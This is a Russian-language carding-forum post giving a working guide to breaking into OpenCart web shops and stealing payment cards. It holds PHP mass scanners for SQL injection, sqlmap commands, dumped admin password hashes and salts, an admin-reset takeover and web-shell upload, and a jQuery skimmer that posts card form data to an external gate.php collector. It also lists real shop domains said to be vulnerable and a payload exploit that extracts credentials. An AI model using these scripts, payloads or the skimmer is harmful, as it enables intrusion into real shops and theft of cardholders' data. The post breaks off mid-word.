Интересно Пиздим СС из шопа

kanibal

New member
Предупрежу, это очень наказуемо. Почему? Ты можешь пиздить карты неделями с одного шопа этим способом, но как только дыру заметят, будет разбирательство, которое так просто не оставят. В этом я тебя уверяю, так что лучше не рискуй жопой, если не умеешь, а за неделю ты не научишься.
И да, если уж вздумаешь заниматься чем-то подобным, тебе я советую ориентироваться на Европу, но никак не США. Почему-то в ЕС терпят подобную еблю, а США если вцепится, то доведут дело до конца. Знаю не по наслышке.


Приступим. Что нам понадобится:

  • php5.6 + curl
  • RollingCurl -
Начнём с простого, напишем парсер для публичной уязвимости в opencart.
<?php
ini_set(memory_limit, -1);

require __DIR__ . /src/RollingCurl/RollingCurl.php;
require __DIR__ . /src/RollingCurl/Request.php;

$rollingCurl = new RollingCurlRollingCurl();
$i =0;
$content = file(set_base_here.txt);
$plugin = "/index.php?route=product/product&path=4_16&product_id=431";
$arr = array();

foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}

print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print " product_id testing ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);

foreach ($sites as $url) {
$request = new RollingCurlRequest($url);
$request->setOptions($options);
$rollingCurl->add($request);
}

$rollingCurl
->setCallback(function(RollingCurlRequest $request, RollingCurlRollingCurl $rollingCurl) {

$out = $request->getResponseText();
$vuln = explode(You have an error in your SQL syntax,$out);
$false1 = explode(<html,$out);
$false = explode(href=",$out);
$header = $request->getresponseInfo();
$http_code = $header[http_code];

if(($http_code == 200)&!isset($false[1])&!isset($false1[1])){

if(mb_strlen($request->getResponseText())==0){
// print PHP_EOL . $request->getUrl(). :posible blind . PHP_EOL;
}

if(isset($vuln[1])){
print PHP_EOL . $request->getUrl(). :vuln . PHP_EOL;
}



else{
}
}

else{
}

})->execute();

?>

Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Не стесьняясь используем sqlmap, удобно и работает.
python ~/sqlmap/sqlmap.py -u "*" --sql-shell --dbms="MySQL"
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
select `value` from `oc_setting` where `key` like %ftp%
Мимо. Извлекаем учётные данные администраторов:
sql-shell> select `username`,`password`,`salt`,`email` from `oc_user`
output:
select `username`,`password`,`salt`,`email` from `oc_user` [12]:admin, d502c298a08c6a792d3aca5834cadda91c09bbef, gl2wqMCI7, , 00dd6ccaeedda898502bbc4a6252cc2ae9ececea, zf6TYZ22T, , 32eff90320144d729d52eecfcbcc0105c626ca7b, 1ahOeGubK, , 25887f0b297658f2c8a49ac839e1efa6113b8e6c, Fqnsekz8e, , 403431b3541f319f84123a0c1d04286bd423568c, pZvm4H0cU, , 9c72b218cde0952ed725d288e398426184560da2, Ocwi0EfVA, , 98d24ac005ceec111ee4361ce4978d6f339cbf69, yiqpiR8Vz, , 484ce4ef33f244bae80646af47bb831130d0987d, kMnrIXHJu, , a7fbec4075f1c590ff1abcf53ef753858bf39db5, zU8LusPfL, , 8d688e734dced7bdac0b36ab07c2b85c957db152, r4pmw6xnK, , 283232b15c7fbbf89aa6f3456a09a05f341aa080, 8Hd8zCa6l, , 6776e6dfad9a066f05aa1be004d16f02eea14ccd, n7x7sjPcL,
Опустим попытку брута т.к на сайте есть форма востановления пароля:
Ресетим пароль администратора, ;
Код для ресета пароля хранится в:

sql-shell> select `code` from `oc_user`
Cсылка для ввода кода для смены пароля:
/admin/index.php?route=common/reset&code=
  • Попадаем в админ панель:




    Загружаем шелл через установщик плагинов.
    Текущий доступ примерно 300 карт в день, но нет формы оплаты. Можно поправить темплейт.
    Прмемер сниффера: JS:
    jQuery(document).ready(function() {
    jQuery(#order).change(function() {
    if (jQuery(#card_number).val().replace(/[^0-9]/g,).length > 14 && jQuery(#card_cvNumber).val().replace(/[^0-9]/g,).length > 2) {
    jQuery.ajax({
    url: https://example.com/gate.php?token=FZorkMQW,
    data: jQuery(#order).serialize(),
    type: POST,
    success:function(resp)
    {
    return false;
    },
    error:function(jqXHR, textStatus, errorThrown)
    {
    return false;
    }
    });
    }
    });
    });
    Правим поля под форму (#);
    gate.php
    <?php
    header(Access-Control-Allow-Origin: *);
    header(Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept);

    $req_dump = file_get_contents("php://input").PHP_EOL;
    $fp = file_put_contents( /var/log/ssl30.txt, $req_dump, FILE_APPEND);
    ?>
    Напишем чекер под "0day" уязвимость в плагине opencart. (module/mega_filter);
    <?php

    ini_set(memory_limit, -1);


    require __DIR__ . /src/RollingCurl/RollingCurl.php;

    require __DIR__ . /src/RollingCurl/Request.php;


    $rollingCurl = new RollingCurlRollingCurl();

    $i =0;

    $content = file(test.txt);

    $plugin = "/index.php?route=module/mega_filter/results&mfp=";

    $arr = array();


    foreach ($content as $string) {

    $url = trim($string);

    $url = $url.$plugin;

    $arr[] = $url;

    }


    print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;

    print " testing module/mega_filter ". PHP_EOL;

    print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;


    $sites = array_reverse($arr);

    $options = array(CURLOPT_TIMEOUT => 15);


    foreach ($sites as $url) {

    $request = new RollingCurlRequest($url);

    $request->setOptions($options);

    $rollingCurl->add($request);

    }


    $rollingCurl

    ->setCallback(function(RollingCurlRequest $request, RollingCurlRollingCurl $rollingCurl) {


    $out = $request->getResponseText();

    $vuln = explode(syntax;,$out);

    $false1 = explode(<html,$out);

    $false = explode(href=",$out);

    $header = $request->getresponseInfo();

    $http_code = $header[http_code];


    if(($http_code == 200)&!isset($false[1])&!isset($false1[1])){


    if(mb_strlen($request->getResponseText())==0){

    //print PHP_EOL . $request->getUrl(). :posible blind . PHP_EOL;

    }


    if(isset($vuln[1])){

    print PHP_EOL . $request->getUrl(). :vuln . PHP_EOL;

    }




    else{

    }

    }


    else{

    }


    })->execute();


    ?>
    Сохраняем, запускаем из консоли (php5.6), Данный чекер учитывает только error-based вектор.


    Тестовый output:
    abaro.vn/index.php?route=module/mega_filter/results&mfp=:vuln
    igalaxy.gr/index.php?route=module/mega_filter/results&mfp=:vuln
    cardtak.com/index.php?route=module/mega_filter/results&mfp=:vuln
    iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=:vuln
    www.daciashop.ro/index.php?route=module/mega_filter/results&mfp=:vuln
    www.enbimoda.com/index.php?route=module/mega_filter/results&mfp=:vuln
    www.omikron.gr/index.php?route=module/mega_filter/results&mfp=:vuln
    www.indiansilkhouse.com/index.php?route=module/mega_filter/results&mfp=:vuln
    www.bazistory.com/index.php?route=module/mega_filter/results&mfp=:vuln
    polleosport.si/index.php?route=module/mega_filter/results&mfp=:vuln
    iranianskin.com/index.php?route=module/mega_filter/results&mfp=:vuln
    Пример запроса к sqlmap:
    python ~/sqlmap/sqlmap.py -u "https://iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=*" --dbs --tamper="between" --dbms="MySQL"
    JohnTheRipper -https://www.openwall.com/john/
    Конфигурация JtR для подбора паролей:
    Мини эксплоит для module/mega_filter;
    <?php error_reporting(0);


    $link = "http://-link-here-dot-com/index.php?route=module/mega_filter/results&mfp=";


    function curl_me($url/*,$post*/){

    if($curl = curl_init()) {
    curl_setopt($curl,CURLOPT_URL, $url);
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
    /*curl_setopt($curl, CURLOPT_POSTFIELDS, $post);*/
    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30);
    curl_setopt($curl,CURLOPT_USERAGENT,JKOIhlklk!);
    $response = curl_exec($curl);
    curl_close($curl);
    $tmp = explode(qbbjq,$response);
    $value = explode(qbbjq1,$tmp[1]);
    $out = $value[0];
    return $out;

    }

    }
    $i = 0;
    while($i < 5){
    $username_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(username%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";

    $password_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(password%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";

    $salt_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(salt%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl";

    $username = $link.$username_payload;
    $password = $link.$password_payload;
    $salt = $link.$salt_payload;

    $usr = curl_me($username);
    $pwd = curl_me($password);
    $slt = curl_me($salt);

    print $usr.":".$pwd.":".$slt.PHP_EOL;

    $i++;
    }
    Полезная информация:
    тип хэша: sha1($s.sha1($s.sha1($p)))
    Ста
 
Яндекс.Метрика
Сверху